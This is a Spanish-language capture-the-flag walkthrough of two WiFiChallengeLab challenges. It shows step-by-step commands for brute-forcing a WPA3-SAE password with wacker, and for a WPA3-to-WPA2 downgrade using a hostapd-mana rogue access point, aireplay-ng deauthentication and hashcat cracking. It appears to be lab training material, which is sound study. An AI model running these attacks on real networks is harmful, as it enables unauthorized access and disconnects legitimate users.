WifiChallengeLab - Wi-Fi - SAE (Simultaneous Authentication of Equals)
SAE (Simultaneous Authentication of Equals) es un método de autenticación robusto para redes WPA3, es un protocolo de autenticación y de intercambio de claves basado en contraseñas, utilizado en WPA3 (Wi-Fi Protected Access 3). Mejora la seguridad respecto a los protocolos anteriores al proporcionar resistencia a los ataques de fuerza bruta offline.
WiFiChallenge Lab - Challenge 13. ¿Cuál es la flag en la red wifi-management?
- Primero vamos a comenzar escaneando para ver información de esta red wifi-management:
root@WiFiChallengeLab:/home/user# airmon-ng start wlan0
root@WiFiChallengeLab:/home/user# airmon-ng check kill
- Vemos la red.
root@WiFiChallengeLab:/home/user# airodump-ng wlan0mon --band bg --wps -c11
- Lo que nos piden es saber la contraseña podemos hacer un ataque de fuerza bruta https://github.com/blunderbuss-wctf/wacker gracias a la utilización de Dragonfly handshake.
Dragonblood es un conjunto de vulnerabilidades descubiertas en el protocolo WPA3, específicamente en el SAE. Tiene este nombre debido a que el Handshake de WPA3 se llama DragonFly. Estas vulnerabilidades afectan tanto la fase de autenticación como el proceso de intercambio de claves, permitiendo a los atacantes ejecutar diversos tipos de ataques, tales como la recuperación de contraseñas y la ejecución de ataques de denegación de servicio.
- Para atacar este protocolo primero necesitamos saber la frecuencia de la red wifi indicando el canal donde opera el AP:
root@WiFiChallengeLab:/home/user# sudo iwlist wlan0mon frequency | grep 'Channel 11 :'
Channel 11 : 2.462 GHz
- Ahora usamos la herramienta pasándole los parámetros que nos piden:
root@WiFiChallengeLab:~/tools/wacker# ./wacker.py --wordlist ~/rockyou-top100000.txt --ssid wifi-management --bssid F0:9F:C2:11:0A:24 --interface wlan2 --freq 2462
- Ahora tenemos la contraseña:
- Ahora que tenemos la contraseña podemos conectarnos a la red:
root@WiFiChallengeLab:~# cat sae.conf
network={
ssid="wifi-management"
psk="aqui va la contraseña"
key_mgmt=SAE
scan_ssid=1
ieee80211w=2
}
- Ahora nos conectamos a la red:
root@WiFiChallengeLab:~# wpa_supplicant -i wlan3 -c sae.conf
Successfully initialized wpa_supplicant
nl80211: send_and_recv->nl_recvmsgs failed: -33
wlan3: SME: Trying to authenticate with f0:9f:c2:11:0a:24 (SSID='wifi-management' freq=2462 MHz)
wlan3: SME: Trying to authenticate with f0:9f:c2:11:0a:24 (SSID='wifi-management' freq=2462 MHz)
wlan3: PMKSA-CACHE-ADDED f0:9f:c2:11:0a:24 0
wlan3: Trying to associate with f0:9f:c2:11:0a:24 (SSID='wifi-management' freq=2462 MHz)
wlan3: Associated with f0:9f:c2:11:0a:24
wlan3: CTRL-EVENT-SUBNET-STATUS-UPDATE status=0
wlan3: WPA: Key negotiation completed with f0:9f:c2:11:0a:24 [PTK=CCMP GTK=CCMP]
wlan3: CTRL-EVENT-CONNECTED - Connection to f0:9f:c2:11:0a:24 completed [id=0 id_str=]
- Ahora para poder navegar nos asignamos IP:
root@WiFiChallengeLab:/home/user# dhclient -v wlan3
Internet Systems Consortium DHCP Client 4.4.1
Copyright 2004-2018 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/
Listening on LPF/wlan3/02:00:00:00:03:00
Sending on LPF/wlan3/02:00:00:00:03:00
Sending on Socket/fallback
DHCPDISCOVER on wlan3 to 255.255.255.255 port 67 interval 3 (xid=0x5cdf3d77)
DHCPDISCOVER on wlan3 to 255.255.255.255 port 67 interval 5 (xid=0x5cdf3d77)
DHCPOFFER of 192.168.14.46 from 192.168.14.1
DHCPREQUEST for 192.168.14.46 on wlan3 to 255.255.255.255 port 67 (xid=0x773ddf5c)
DHCPACK of 192.168.14.46 from 192.168.14.1 (xid=0x5cdf3d77)
bound to 192.168.14.46 -- renewal in 43145 seconds.
- Ahora vamos a la web para ver la flag:
Challenge 14. ¿Cuál es la flag en la web del AP wifi-IT?
- Para este nivel nos dan 2 pistas y nos dicen que tenemos que hacer el ataque downgrade y que el 802.11w esta deshabilitado.
Este tipo de ataque consiste en engañar al dispositivo para que se conecte utilizando el protocolo WPA2 en lugar de WPA3, siendo vulnerable a ataques de WPA2.
802.11w está deshabilitado” significa que tu dispositivo o red Wi-Fi no está utilizando una característica de seguridad específica del estándar Wi-Fi llamada “Protected Management Frames” (PMF), Con 802.11w habilitado, esos mensajes están cifrados y autenticados, lo que evita que un atacante pueda expulsarte fácilmente de la red Wi-Fi.
- Para comprobar si esta habilitado o no podemos usar Wireshark examinando un .cap que exportemos al capturar paquetes de la red:
root@WiFiChallengeLab:~# airodump-ng wlan0mon --band bg -c11 -w captura
- Vemos al cliente conectado:
- Ahora vemos con wireshark que esta en false:
- Para hacer este ataque vamos a comenzar escribiendo el archivo de configuración para el fakeAP.
root@WiFiChallengeLab:~# cat saw.conf
interface=wlan1
driver=nl80211
hw_mode=g
channel=11
ssid=wifi-IT
mana_wpaout=hostapd-IT.hccapx
wpa=2
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP
wpa_passphrase=12345678
- Ahora levantamos el fakeAP:
root@WiFiChallengeLab:~# iwconfig wlan0mon channel 11
root@WiFiChallengeLab:~# hostapd-mana saw.conf
Configuration file: saw.conf
MANA: Captured WPA/2 handshakes will be written to file 'hostapd-IT.hccapx'.
Using interface wlan1 with hwaddr 02:00:00:00:01:00 and ssid "wifi-IT"
wlan1: interface state UNINITIALIZED->ENABLED
wlan1: AP-ENABLED
- Ahora vamos a expulsar al cliente para obtener el handshake.
root@WiFiChallengeLab:/home/user# aireplay-ng wlan0mon -0 0 -a F0:9F:C2:1A:CA:25 -c 10:F9:6F:AC:53:52
20:43:15 Waiting for beacon frame (BSSID: F0:9F:C2:1A:CA:25) on channel 11
20:43:15 Sending 64 directed DeAuth (code 7). STMAC: [10:F9:6F:AC:53:52] [ 0| 0 ACKs]
20:43:16 Sending 64 directed DeAuth (code 7). STMAC: [10:F9:6F:AC:53:52] [ 0| 0 ACKs]
20:43:17 Sending 64 directed DeAuth (code 7). STMAC: [10:F9:6F:AC:53:52] [ 0| 0 ACKs]
20:43:17 Sending 64 directed DeAuth (code 7). STMAC: [10:F9:6F:AC:53:52] [ 0| 0 ACKs]
20:43:18 Sending 64 directed DeAuth (code 7). STMAC: [10:F9:6F:AC:53:52] [ 0| 0 ACKs]
20:43:19 Sending 64 directed DeAuth (code 7). STMAC: [10:F9:6F:AC:53:52] [ 0| 0 ACKs]
20:43:19 Sending 64 directed DeAuth (code 7). STMAC: [10:F9:6F:AC:53:52] [ 0| 0 ACKs]
^C
- Obtenemos el handshake:
- Vamos hacer el formato correcto para guardar el handshake.
root@WiFiChallengeLab:~# cat hostapd-IT.hccapx | head -n 1 | awk '{print $3}' >> hostapd-itnow.22000
- Ahora crackeamos el hash con hashcat.
C:\Users\jmrn7\Tools\hashcat-6.2.6>.\hashcat.exe -a 0 -m 22000 hostapd-itnow.22000 rockyou-top100000.txt --force
- Tenemos la contraseña:
- Ahora nos podemos conectar.
root@WiFiChallengeLab:~# cat sae2.conf
network={
ssid="wifi-IT"
psk="Aquí va la contraseña"
key_mgmt=SAE
scan_ssid=1
ieee80211w=1
}
- Ahora nos conectamos
root@WiFiChallengeLab:~# wpa_supplicant -i wlan3 -c sae2.conf
Successfully initialized wpa_supplicant
wlan3: SME: Trying to authenticate with f0:9f:c2:1a:ca:25 (SSID='wifi-IT' freq=2462 MHz)
wlan3: SME: Trying to authenticate with f0:9f:c2:1a:ca:25 (SSID='wifi-IT' freq=2462 MHz)
wlan3: PMKSA-CACHE-ADDED f0:9f:c2:1a:ca:25 0
wlan3: Trying to associate with f0:9f:c2:1a:ca:25 (SSID='wifi-IT' freq=2462 MHz)
wlan3: Associated with f0:9f:c2:1a:ca:25
wlan3: CTRL-EVENT-SUBNET-STATUS-UPDATE status=0
wlan3: WPA: Key negotiation completed with f0:9f:c2:1a:ca:25 [PTK=CCMP GTK=CCMP]
wlan3: CTRL-EVENT-CONNECTED - Connection to f0:9f:c2:1a:ca:25 completed [id=0 id_str=]
- Ahora nos asignamos IP.
root@WiFiChallengeLab:/home/user# dhclient wlan3 -v
Internet Systems Consortium DHCP Client 4.4.1
Copyright 2004-2018 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/
Listening on LPF/wlan3/02:00:00:00:03:00
Sending on LPF/wlan3/02:00:00:00:03:00
Sending on Socket/fallback
DHCPDISCOVER on wlan3 to 255.255.255.255 port 67 interval 3 (xid=0xf2ae2571)
DHCPOFFER of 192.168.15.46 from 192.168.15.1
DHCPREQUEST for 192.168.15.46 on wlan3 to 255.255.255.255 port 67 (xid=0x7125aef2)
DHCPACK of 192.168.15.46 from 192.168.15.1 (xid=0xf2ae2571)
bound to 192.168.15.46 -- renewal in 33409 seconds.
- Vemos la flag final.
root@WiFiChallengeLab:/home/user# curl -s http://192.168.15.1/login.php | grep flag
function copyFlagToClipboard(flag) {
navigator.clipboard.writeText(flag).then(() => {
alert(flag);
Flag: <button onclick="copyFlagToClipboard('flag{xxxxxx-xxxxxxxxxxxxxxx-xxxxxxxxxxxxxx}')">flag{xxxxxx-xxxxxxxxxxxxxxx-xxxxxxxxxxxxxx}</button>